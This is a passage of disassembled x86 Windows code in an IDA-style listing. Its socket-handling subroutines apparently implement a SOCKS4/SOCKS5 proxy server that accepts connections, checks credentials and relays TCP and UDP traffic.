		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13D41C0	proc near		; CODE XREF: sub_13AC387j
		jmp	sub_13ABB9E
sub_13D41C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D41E0	proc near		; CODE XREF: sub_13AB4AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, recv
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi ; recv
		cmp	eax, 1
		jge	short loc_13D4221
		mov	edx, [ebp+0A1h]
		push	edx
		call	closesocket	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_13D4221:				; CODE XREF: sub_13D41E0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_13D440C
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi ; recv
		cmp	eax, 1
		jge	short loc_13D425E
		mov	edx, [ebp+0A1h]
		push	edx
		call	closesocket	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_13D425E:				; CODE XREF: sub_13D41E0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_13D440C
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		call	socket	; socket
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		call	connect	; connect
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_13D42F9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	send	; send
		mov	eax, [ebp+0A1h]
		push	eax
		call	closesocket	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_13D42F9:				; CODE XREF: sub_13D41E0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	send	; send
		mov	ecx, [ebp+0A1h]
		mov	esi, ioctlsocket
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi ; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi ; ioctlsocket


loc_13D4356:				; CODE XREF: sub_13D41E0+1AFj
					; sub_13D41E0+1FEj ...
		mov	edi, recv
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi ; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_13D43FA
		jge	short loc_13D4391
		call	WSAGetLastError	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_13D4391
		push	0Ah
		call	Sleep	; Sleep
		jmp	short loc_13D4356
; ---------------------------------------------------------------------------


loc_13D4391:				; CODE XREF: sub_13D41E0+198j
					; sub_13D41E0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		call	send	; send
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi ; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_13D43FA
		jge	short loc_13D43E3
		call	WSAGetLastError	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_13D43E3
		push	0Ah
		call	Sleep	; Sleep
		jmp	loc_13D4356
; ---------------------------------------------------------------------------


loc_13D43E3:				; CODE XREF: sub_13D41E0+1E7j
					; sub_13D41E0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		call	send	; send
		jmp	loc_13D4356
; ---------------------------------------------------------------------------


loc_13D43FA:				; CODE XREF: sub_13D41E0+192j
					; sub_13D41E0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, closesocket
		push	eax
		call	esi ; closesocket
		push	ebx
		call	esi ; closesocket


loc_13D440C:				; CODE XREF: sub_13D41E0+46j
					; sub_13D41E0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_13D41E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D44B0	proc near		; CODE XREF: sub_13AC56Cj

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43BB68h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC382
		push	offset dword_4452F0
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	dword_43E17C
		call	sub_13AB9D7
		mov	ecx, [esp+18h+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D44B0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D4520	proc near		; CODE XREF: sub_13AB432j
					; .idata:013ABBA8j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AC03A
		test	[esp+4+arg_0], 1
		jz	short loc_13D4538
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D4538:				; CODE XREF: sub_13D4520+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D4520	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13D4550	proc near		; CODE XREF: sub_13AC03Aj
		jmp	sub_13ABB9E
sub_13D4550	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D4570	proc near		; CODE XREF: sub_13ABC8Ej

var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	43BB8Bh
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_13ABBE4
		push	eax
		push	offset dword_445318
		mov	ecx, ebx
		call	sub_13AB8D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 1Ch
		push	6
		push	1
		push	2
		call	socket	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_13D4779
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		call	htons	; htons
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		call	bind	; bind
		test	eax, eax
		jz	short loc_13D4646
		mov	ecx, [esi+9Dh]
		push	ecx
		call	closesocket	; closesocket
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_13D4646:				; CODE XREF: sub_13D4570+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_13D4730


loc_13D465C:				; CODE XREF: sub_13D4570+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		call	listen	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_13D4680
		push	0FAh
		call	Sleep	; Sleep
		jmp	loc_13D471C
; ---------------------------------------------------------------------------


loc_13D4680:				; CODE XREF: sub_13D4570+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		call	accept	; accept
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_13D4730
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_13D4730
		push	0A5h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+40h+var_2C], eax
		cmp	eax, edi
		mov	[esp+40h], edi
		jz	short loc_13D46CE
		mov	ecx, eax
		call	sub_13AC51C
		mov	edi, eax


loc_13D46CE:				; CODE XREF: sub_13D4570+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	dword ptr [esp+44h], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_13AC3BE
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_13AB7D4


loc_13D471C:				; CODE XREF: sub_13D4570+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_13D465C


loc_13D4730:				; CODE XREF: sub_13D4570+E6j
					; sub_13D4570+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_13D4744
		push	eax
		call	closesocket	; closesocket


loc_13D4744:				; CODE XREF: sub_13D4570+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_13ABBE4
		push	eax
		push	offset dword_4452F8
		mov	ecx, ebx
		call	sub_13AB8D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 1Ch


loc_13D4779:				; CODE XREF: sub_13D4570+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_13D4570	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D4820	proc near		; CODE XREF: sub_13ABB4Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		call	gethostbyname	; gethostbyname
		test	eax, eax
		jz	short loc_13D4841
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_13D4841:				; CODE XREF: sub_13D4820+Dj
		xor	al, al
		retn	8
sub_13D4820	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D4860	proc near		; CODE XREF: sub_13AC4C2j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_13D4881:				; CODE XREF: sub_13D4860+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_13D489A:				; CODE XREF: sub_13D4860+45j
		cmp	[ecx], ebx
		jz	short loc_13D48A7
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_13D489A


loc_13D48A7:				; CODE XREF: sub_13D4860+3Cj
		cmp	eax, 1
		jnz	short loc_13D48B8
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_13D48B8:				; CODE XREF: sub_13D4860+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		call	select	; select
		test	eax, eax
		jbe	short loc_13D4943
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D4943
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	near ptr 13E1380h
		test	eax, eax
		jz	short loc_13D48EC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_13D48EE
; ---------------------------------------------------------------------------


loc_13D48EC:				; CODE XREF: sub_13D4860+84j
		mov	eax, ebx


loc_13D48EE:				; CODE XREF: sub_13D4860+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		call	recv	; recv
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_13D4992
		test	edi, edi
		jz	short loc_13D4992
		jbe	short loc_13D493C


loc_13D491B:				; CODE XREF: sub_13D4860+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		call	send	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D4992
		add	esi, eax
		cmp	esi, edi
		jb	short loc_13D491B


loc_13D493C:				; CODE XREF: sub_13D4860+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_13D4943:				; CODE XREF: sub_13D4860+70j
					; sub_13D4860+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_13D4955:				; CODE XREF: sub_13D4860+100j
		cmp	[ecx], ebx
		jz	short loc_13D4962
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_13D4955


loc_13D4962:				; CODE XREF: sub_13D4860+F7j
		cmp	eax, 1
		jnz	short loc_13D4974
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_13D4974:				; CODE XREF: sub_13D4860+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		call	select	; select
		test	eax, eax
		jle	loc_13D4881


loc_13D4992:				; CODE XREF: sub_13D4860+B3j
					; sub_13D4860+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_13D4860	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D4A10	proc near		; CODE XREF: sub_13AC01Cj

var_548		= byte ptr -548h
var_540		= dword	ptr -540h
var_53C		= dword	ptr -53Ch
var_534		= byte ptr -534h
var_522		= word ptr -522h
var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_468		= byte ptr -468h
var_450		= byte ptr -450h
var_400		= dword	ptr -400h
var_2C		= dword	ptr -2Ch
var_C		= dword	ptr -0Ch
arg_4		= dword	ptr  8

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_13D4AAF
		dec	eax
		jz	short loc_13D4A5A
		dec	eax
		jnz	loc_13D4BA2
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13D4A5A:				; CODE XREF: sub_13D4A10+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_13ABB4E
		test	al, al
		jz	loc_13D4BA2
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+534h+var_522], dx
		jmp	short loc_13D4ACB
; ---------------------------------------------------------------------------


loc_13D4AAF:				; CODE XREF: sub_13D4A10+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_13D4ACB:				; CODE XREF: sub_13D4A10+9Dj
		mov	ebx, socket
		push	11h
		push	2
		push	2
		call	ebx ; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx ; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_13D4BA2
		cmp	eax, 0FFFFFFFFh
		jnz	loc_13D4BA2
		mov	edx, [esp+544h+var_C]
		lea	ecx, [esp+544h+var_534]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, sendto
		push	edx
		push	esi
		push	edi
		call	ebp ; sendto
		mov	ebx, [esp+55Ch+var_2C]
		push	10h
		push	ebx
		push	edi
		call	bind	; bind
		test	eax, eax
		jnz	short loc_13D4BA2


loc_13D4B29:				; CODE XREF: sub_13D4A10+174j
		lea	eax, [esp+568h+var_548]
		lea	ecx, [esp+568h+var_540]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+57Ch+var_53C], 0FFFFFFFFh
		mov	[esp+57Ch+var_540], 1
		call	select	; select
		push	0
		push	0
		push	0
		lea	edx, [esp+588h+var_450]
		push	3FFh
		push	edx
		push	edi
		call	recvfrom	; recvfrom
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+5A0h+var_468]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp ; sendto
		test	esi, esi
		jbe	short loc_13D4B86
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_13D4B29


loc_13D4B86:				; CODE XREF: sub_13D4A10+16Fj
		mov	esi, closesocket
		push	edi
		call	esi ; closesocket
		push	0FFFFFFFFh
		call	esi ; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_13D4BA2:				; CODE XREF: sub_13D4A10+35j
					; sub_13D4A10+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_13D4A10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D4C30	proc near		; CODE XREF: sub_13AB7A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_820		= dword	ptr -820h
var_81C		= word ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_810		= byte ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_708		= dword	ptr -708h
var_6FC		= byte ptr -6FCh
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= word ptr -5F8h
var_5F6		= byte ptr -5F6h
var_5F4		= byte ptr -5F4h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_13D4EEA
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_13D5006
		mov	edi, select
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi ; select
		test	eax, eax
		jle	loc_13D5093
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	near ptr 13E1380h
		test	eax, eax
		jz	loc_13D5093
		push	6
		push	1
		push	2
		call	socket	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esp+83Ch+var_820], eax
		jz	loc_13D4EEA
		mov	ebx, recv
		push	0
		lea	edx, [esp+840h+var_600]
		push	2
		push	edx
		push	esi
		call	ebx ; recv
		cmp	byte ptr [esp+83Ch+var_600], 5
		jnz	loc_13D4EEA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		xor	ecx, ecx
		lea	edx, [esp+83Ch+var_600]
		mov	[esp+83Ch+var_600], ecx
		mov	[esp+83Ch+var_5FC], ecx
		mov	[esp+83Ch+var_5F8], cx
		push	ecx
		push	eax
		push	edx
		push	esi
		mov	[esp+84Ch+var_5F6], cl
		call	ebx ; recv
		push	0
		push	2
		push	offset dword_445354
		push	esi
		call	send	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_828], 0
		mov	[esp+850h+var_82C], 7
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	edi ; select
		xor	eax, eax
		lea	edx, [esp+83Ch+var_600]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+840h+var_600]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx ; recv
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_13D4EEA
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx ; recv
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx ; recv
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx ; recv
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_13ABBE4
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_13D4DFB:				; CODE XREF: sub_13D4C30+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_13D4E1F
		test	al, al
		jz	short loc_13D4E1B
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_13D4E1F
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_13D4DFB


loc_13D4E1B:				; CODE XREF: sub_13D4C30+1D5j
		xor	eax, eax
		jmp	short loc_13D4E24
; ---------------------------------------------------------------------------


loc_13D4E1F:				; CODE XREF: sub_13D4C30+1D1j
					; sub_13D4C30+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13D4E24:				; CODE XREF: sub_13D4C30+1EDj
		test	eax, eax
		jz	short loc_13D4E81
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_13ABBE4
		lea	edi, [esp+83Ch+var_100]


loc_13D4E3E:				; CODE XREF: sub_13D4C30+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_13D4E62
		test	cl, cl
		jz	short loc_13D4E5E
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_13D4E62
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_13D4E3E


loc_13D4E5E:				; CODE XREF: sub_13D4C30+218j
		xor	eax, eax
		jmp	short loc_13D4E67
; ---------------------------------------------------------------------------


loc_13D4E62:				; CODE XREF: sub_13D4C30+214j
					; sub_13D4C30+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_13D4E67:				; CODE XREF: sub_13D4C30+230j
		test	eax, eax
		jz	short loc_13D4E81
		push	esi
		call	closesocket	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_13D4E81:				; CODE XREF: sub_13D4C30+1F6j
					; sub_13D4C30+239j
		mov	edi, send
		push	0
		push	2
		push	offset dword_445350
		push	esi
		call	edi ; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	select	; select
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	near ptr 13E1380h
		test	eax, eax
		jz	short loc_13D4EEA
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx ; recv
		mov	eax, [esp+83Ch+var_708+3]
		and	eax, 0FFh
		dec	eax
		jz	short loc_13D4F51
		sub	eax, 2
		jz	short loc_13D4EF9
		dec	eax


loc_13D4EE8:				; CODE XREF: sub_13D4C30+31Fj
		jnz	short loc_13D4F60


loc_13D4EEA:				; CODE XREF: sub_13D4C30+32j
					; sub_13D4C30+93j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_13D4EF9:				; CODE XREF: sub_13D4C30+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx ; recv
		movsx	edx, byte ptr [esp+834h+var_5F8]
		push	0
		lea	eax, [esp+838h+var_6FC]
		push	edx
		push	eax
		push	esi
		call	ebx ; recv
		movsx	ecx, byte ptr [esp+834h+var_5F8]
		lea	edx, [esp+834h+var_5F8]
		lea	eax, [esp+834h+var_6FC]
		mov	[esp+ecx+834h+var_6FC],	0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_13ABB4E
		test	al, al
		jmp	short loc_13D4EE8
; ---------------------------------------------------------------------------


loc_13D4F51:				; CODE XREF: sub_13D4C30+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx ; recv


loc_13D4F60:				; CODE XREF: sub_13D4C30:loc_13D4EE8j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx ; recv
		cmp	byte ptr [esp+83Ch+var_708+1], 1
		jnz	loc_13D4EEA
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	[esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		call	connect	; connect
		test	eax, eax
		jnz	loc_13D4EEA
		push	eax
		push	4
		push	offset dword_445348
		push	esi
		call	edi ; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi ; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi ; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
